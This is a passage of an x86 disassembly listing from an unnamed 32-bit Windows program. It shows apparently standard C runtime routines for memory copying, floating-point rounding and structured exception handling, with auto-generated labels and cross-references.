sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B960
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420445
add esp, 10h
leave
retn
sub_41CA73 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAB0 proc near ; CODE XREF: sub_40B12F+62p
; sub_40B12F+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CAD0
cmp edi, eax
jb loc_41CC48
loc_41CAD0: ; CODE XREF: sub_41CAB0+16j
test edi, 3
jnz short loc_41CAEC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CB0C
rep movsd
jmp off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
loc_41CAEC: ; CODE XREF: sub_41CAB0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CB04
and eax, 3
add ecx, eax
jmp dword ptr loc_41CB0C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CB04: ; CODE XREF: sub_41CAB0+46j
jmp dword ptr loc_41CC08[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CB0C: ; CODE XREF: sub_41CAB0+31j
; sub_41CAB0+8Ej ...
jmp off_41CB8C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CB20
dd offset loc_41CB4C
dd offset loc_41CB70
; ---------------------------------------------------------------------------
loc_41CB20: ; DATA XREF: sub_41CAB0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CB0C
rep movsd
jmp off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CB4C: ; DATA XREF: sub_41CAB0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CB0C
rep movsd
jmp off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CB70: ; DATA XREF: sub_41CAB0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CB0C
rep movsd
jmp off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CB8C dd offset loc_41CBEF ; DATA XREF: sub_41CAB0:loc_41CB0Cr
dd offset loc_41CBDC
dd offset loc_41CBD4
dd offset loc_41CBCC
dd offset loc_41CBC4
dd offset loc_41CBBC
dd offset loc_41CBB4
dd offset loc_41CBAC
; ---------------------------------------------------------------------------
loc_41CBAC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj
; DATA XREF: sub_41CAB0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CBB4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj
; DATA XREF: sub_41CAB0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CBBC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj
; DATA XREF: sub_41CAB0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CBC4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj
; DATA XREF: sub_41CAB0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CBCC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj
; DATA XREF: sub_41CAB0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CBD4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj
; DATA XREF: sub_41CAB0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CBDC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj
; DATA XREF: sub_41CAB0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CBEF: ; CODE XREF: sub_41CAB0:loc_41CB0Cj
; DATA XREF: sub_41CAB0:off_41CB8Co
jmp off_41CBF8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CBF8 dd offset loc_41CC08 ; DATA XREF: sub_41CAB0+35r
; sub_41CAB0+92r ...
dd offset loc_41CC10
dd offset loc_41CC1C
dd offset loc_41CC30
; ---------------------------------------------------------------------------
loc_41CC08: ; CODE XREF: sub_41CAB0+35j
; sub_41CAB0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CC10: ; CODE XREF: sub_41CAB0+35j
; sub_41CAB0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CC1C: ; CODE XREF: sub_41CAB0+35j
; sub_41CAB0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CC30: ; CODE XREF: sub_41CAB0+35j
; sub_41CAB0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CC48: ; CODE XREF: sub_41CAB0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CC7C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CC70
std
rep movsd
cld
jmp off_41CD90[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CC70: ; CODE XREF: sub_41CAB0+1B1j
; sub_41CAB0+208j ...
neg ecx
jmp off_41CD40[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CC7C: ; CODE XREF: sub_41CAB0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CC94
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CC94+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CC94: ; CODE XREF: sub_41CAB0+1D6j
; DATA XREF: sub_41CAB0+1DDr
jmp off_41CD90[ecx*4]
; ---------------------------------------------------------------------------
align 4
test al, 0CCh
inc ecx
add al, cl
int 3 ; Trap to Debugger
inc ecx
add al, dh
int 3 ; Trap to Debugger
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CC70
std
rep movsd
cld
jmp off_41CD90[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CC70
std
rep movsd
cld
jmp off_41CD90[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CC70
std
rep movsd
cld
jmp off_41CD90[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CD44
dd offset loc_41CD4C
dd offset loc_41CD54
dd offset loc_41CD5C
dd offset loc_41CD64
dd offset loc_41CD6C
dd offset loc_41CD74
off_41CD40 dd offset loc_41CD87 ; DATA XREF: sub_41CAB0+1C2r
; ---------------------------------------------------------------------------
loc_41CD44: ; DATA XREF: sub_41CAB0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CD4C: ; DATA XREF: sub_41CAB0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CD54: ; DATA XREF: sub_41CAB0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CD5C: ; DATA XREF: sub_41CAB0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CD64: ; DATA XREF: sub_41CAB0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CD6C: ; DATA XREF: sub_41CAB0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CD74: ; DATA XREF: sub_41CAB0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CD87: ; CODE XREF: sub_41CAB0+1C2j
; DATA XREF: sub_41CAB0:off_41CD40o
jmp off_41CD90[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CD90 dd offset loc_41CDA0 ; DATA XREF: sub_41CAB0+1B7r
; sub_41CAB0:loc_41CC94r ...
dd offset loc_41CDA8
dd offset loc_41CDB8
dd offset loc_41CDCC
; ---------------------------------------------------------------------------
loc_41CDA0: ; CODE XREF: sub_41CAB0+1B7j
; sub_41CAB0:loc_41CC94j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDA8: ; CODE XREF: sub_41CAB0+1B7j
; sub_41CAB0:loc_41CC94j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDB8: ; CODE XREF: sub_41CAB0+1B7j
; sub_41CAB0:loc_41CC94j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDCC: ; CODE XREF: sub_41CAB0+1B7j
; sub_41CAB0:loc_41CC94j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CAB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CDE5(double)
sub_41CDE5 proc near ; CODE XREF: sub_40D2DB+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A640
call sub_42171E
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41CE6B
call sub_4215E6
pop ecx
test eax, eax
pop ecx
jle short loc_41CE4E
cmp eax, 2
jle short loc_41CE40
cmp eax, 3
jnz short loc_41CE4E
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_420EF6
add esp, 10h
jmp short loc_41CEB0
; ---------------------------------------------------------------------------
loc_41CE40: ; CODE XREF: sub_41CDE5+3Fj
push esi
push ebx
call sub_42171E
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41CEB0
; ---------------------------------------------------------------------------
loc_41CE4E: ; CODE XREF: sub_41CDE5+3Aj
; sub_41CDE5+44j
fld [ebp+arg_0]
fadd dbl_427710
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41CEA8
; ---------------------------------------------------------------------------
loc_41CE6B: ; CODE XREF: sub_41CDE5+2Fj
call sub_4215AB
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41CE8E
loc_41CE80: ; CODE XREF: sub_41CDE5+ACj
push esi
push ebx
call sub_42171E
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41CEB0
; ---------------------------------------------------------------------------
loc_41CE8E: ; CODE XREF: sub_41CDE5+99j
test bl, 20h
jnz short loc_41CE80
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41CEA8: ; CODE XREF: sub_41CDE5+84j
call sub_420F49
add esp, 1Ch
loc_41CEB0: ; CODE XREF: sub_41CDE5+59j
; sub_41CDE5+67j ...
pop esi
pop ebx
leave
retn
sub_41CDE5 endp
; =============== S U B R O U T I N E =======================================
sub_41CEB4 proc near ; CODE XREF: ___:0041BF0Dp
; sub_4217E7+21p
; DATA XREF: ...
call sub_41CECC
call sub_4217E7
mov dword_4D9768, eax
call sub_421797
fnclex
retn
sub_41CEB4 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_41CECC proc near ; CODE XREF: sub_41CEB4p
mov eax, offset sub_421BD5
mov off_43AC2C, offset sub_42186A
mov off_43AC28, eax
mov off_43AC30, offset sub_4218D0
mov off_43AC34, offset sub_421810
mov off_43AC38, offset sub_4218B8
mov off_43AC3C, eax
retn
sub_41CECC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CF04 proc near ; CODE XREF: sub_40D2DB+1Bp
; sub_40D2DB+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41CF04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41CF2B(double)
sub_41CF2B proc near ; CODE XREF: sub_40D327+82p
; ___:0040E725p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A658
call sub_42171E
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41CFB1
call sub_4215E6
pop ecx
test eax, eax
pop ecx
jle short loc_41CF94
cmp eax, 2
jle short loc_41CF86
cmp eax, 3
jnz short loc_41CF94
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_420EF6
add esp, 10h
jmp short loc_41CFF6
; ---------------------------------------------------------------------------
loc_41CF86: ; CODE XREF: sub_41CF2B+3Fj
push esi
push ebx
call sub_42171E
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41CFF6
; ---------------------------------------------------------------------------
loc_41CF94: ; CODE XREF: sub_41CF2B+3Aj
; sub_41CF2B+44j
fld [ebp+arg_0]
fadd dbl_427710
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41CFEE
; ---------------------------------------------------------------------------
loc_41CFB1: ; CODE XREF: sub_41CF2B+2Fj
call sub_4215AB
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41CFD4
loc_41CFC6: ; CODE XREF: sub_41CF2B+ACj
push esi
push ebx
call sub_42171E
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41CFF6
; ---------------------------------------------------------------------------
loc_41CFD4: ; CODE XREF: sub_41CF2B+99j
test bl, 20h
jnz short loc_41CFC6
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41CFEE: ; CODE XREF: sub_41CF2B+84j
call sub_420F49
add esp, 1Ch
loc_41CFF6: ; CODE XREF: sub_41CF2B+59j
; sub_41CF2B+67j ...
pop esi
pop ebx
leave
retn
sub_41CF2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CFFA proc near ; CODE XREF: ___:004220B7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41CFFA endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41D02E proc near ; CODE XREF: sub_4221F7+199p
; sub_4223BB+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D02E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D035 proc near ; CODE XREF: sub_4221F7+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D035 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D03C proc near ; CODE XREF: sub_41D1EE+5Cp
; sub_422046:loc_422077p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41D064
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42663C
sub_41D03C endp
; ---------------------------------------------------------------------------
loc_41D064: ; DATA XREF: sub_41D03C+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41D08B: ; CODE XREF: ___:00426D68j
; ___:00426D85j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_421C4B
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D0C1 proc near ; CODE XREF: sub_4220C1+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D115
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422450
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41D0C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D115 proc near ; DATA XREF: sub_41D0C1+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421C4B
add esp, 20h
pop ebp
retn
sub_41D115 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D13A proc near ; CODE XREF: sub_421E8D+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D1EE
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D1C0
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4D97C0
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41D1C0: ; DATA XREF: sub_41D13A+3Co
cmp [ebp+var_4], 0
jz short loc_41D1DD
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D1E6
; ---------------------------------------------------------------------------
loc_41D1DD: ; CODE XREF: sub_41D13A+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D1E6: ; CODE XREF: sub_41D13A+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D13A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1EE proc near ; DATA XREF: sub_41D13A+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D211
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D25E
; ---------------------------------------------------------------------------
loc_41D211: ; CODE XREF: sub_41D1EE+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421C4B
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D24F
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41D03C
; ---------------------------------------------------------------------------
loc_41D24F: ; CODE XREF: sub_41D1EE+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D25E: ; CODE XREF: sub_41D1EE+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D1EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D263 proc near ; CODE XREF: sub_421CE6+C6p
; sub_421E8D+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D2BA
loc_41D281: ; CODE XREF: sub_41D263+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D28B
call sub_4224F2
loc_41D28B: ; CODE XREF: sub_41D263+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D2A0
cmp ecx, [eax+8]
jle short loc_41D2A5
loc_41D2A0: ; CODE XREF: sub_41D263+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D2B1
loc_41D2A5: ; CODE XREF: sub_41D263+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D2B1: ; CODE XREF: sub_41D263+40j
cmp [ebp+arg_4], 0
jge short loc_41D281
mov eax, [ebp+var_4]
loc_41D2BA: ; CODE XREF: sub_41D263+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D2CE
cmp esi, eax
jbe short loc_41D2D3
loc_41D2CE: ; CODE XREF: sub_41D263+65j
call sub_4224F2
loc_41D2D3: ; CODE XREF: sub_41D263+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D263 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D2E0 proc near ; CODE XREF: sub_4233C0+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41D2F8
push [ebp+arg_0]
call sub_42663C
sub_41D2E0 endp
; =============== S U B R O U T I N E =======================================
sub_41D2F8 proc near ; DATA XREF: sub_41D2E0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D2F8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D300 proc near ; DATA XREF: sub_41D322+Ao
; sub_41D38A+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D321
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D321: ; CODE XREF: sub_41D300+10j
retn
sub_41D300 endp
; =============== S U B R O U T I N E =======================================
sub_41D322 proc near ; CODE XREF: sub_422167+Dp
; sub_4233C0+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D300
push large dword ptr fs:0
mov large fs:0, esp
loc_41D33F: ; CODE XREF: sub_41D322:loc_41D37Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D37C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D37C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D37A
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D3B6
call dword ptr [ebx+esi*4+8]
loc_41D37A: ; CODE XREF: sub_41D322+44j
jmp short loc_41D33F
; ---------------------------------------------------------------------------
loc_41D37C: ; CODE XREF: sub_41D322+2Aj
; sub_41D322+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D322 endp
; =============== S U B R O U T I N E =======================================
sub_41D38A proc near ; CODE XREF: sub_422187+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D300
jnz short locret_41D3AC
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D3AC
mov eax, 1
locret_41D3AC: ; CODE XREF: sub_41D38A+10j
; sub_41D38A+1Bj
retn
sub_41D38A endp
; =============== S U B R O U T I N E =======================================
sub_41D3AD proc near ; CODE XREF: sub_422450+1Ep
; sub_422450+40p
push ebx
push ecx
mov ebx, offset dword_43A65C
jmp short loc_41D3C0
sub_41D3AD endp
